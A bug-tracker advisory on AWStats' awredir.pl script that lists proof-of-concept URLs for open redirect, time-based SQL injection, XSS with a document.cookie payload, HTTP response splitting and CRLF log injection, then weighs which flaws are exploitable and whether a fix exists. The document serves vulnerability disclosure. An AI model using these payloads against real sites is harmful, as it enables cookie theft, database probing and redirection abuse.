Description Vincent Danen 2011-09-23 19:47:30 UTC
Multiple flaws were reported [1],[2] in current versions of AWStats' awredir.pl script:

URL redirection abuse:
    http://site/awredir.pl?key=0f3830803a70cc1636af3548b66ed978&url=http://websecurity.com.ua

SQL injection flaw (only if $TRACEBASE is enabled and DBI is included):
    http://site/awredir.pl?key=f38ed1cdb04c8bda5386f7755a4e1d3e&url='%20and%20benchmark(10000,md5(now()))/*

XSS flaws:
    http://site/awredir.pl?url=%3Cscript%3Ealert(document.cookie)%3C/script%3E
    http://site/awredir.pl?key=%3Cscript%3Ealert(document.cookie)%3C/script%3E

HTTP Response Splitting flaw:
    http://site/awredir.pl?key=04ed5362e853c72ca275818a7c0c5857&url=%0AHeader:1

CRLF Injection flaw (injection in logs is possible if $DEBUG and/or $TRACEFILE are enabled):
    http://site/awredir.pl?key=4b9faa91e2529400c4f3c70833b4e4a5&url=%0AText


Out of the above flaws, I believe that only the XSS flaws are feasible to abuse, as an attacker would need to know the value of $KEYFORMD5, which is defined in awredir.pl (the key generated is a md5_hash() of the $KEYFORMD5 and the URL to redirect to, although $KEYFORMD5 can be left blank (although there are notes in the script itself about a blank value being a security risk)).

Upstream does not yet have a fix available or in CVS [3].

There is possibly a fix (log: "Sanitize parameters" - looks like fix for the XSS flaws) in awredir.pl from 2011-09-24 :

awredir.pl is url redirector so this is its main/only feature and it is/can be secured by $KEYFORMD5. So I don't think this is flaw.
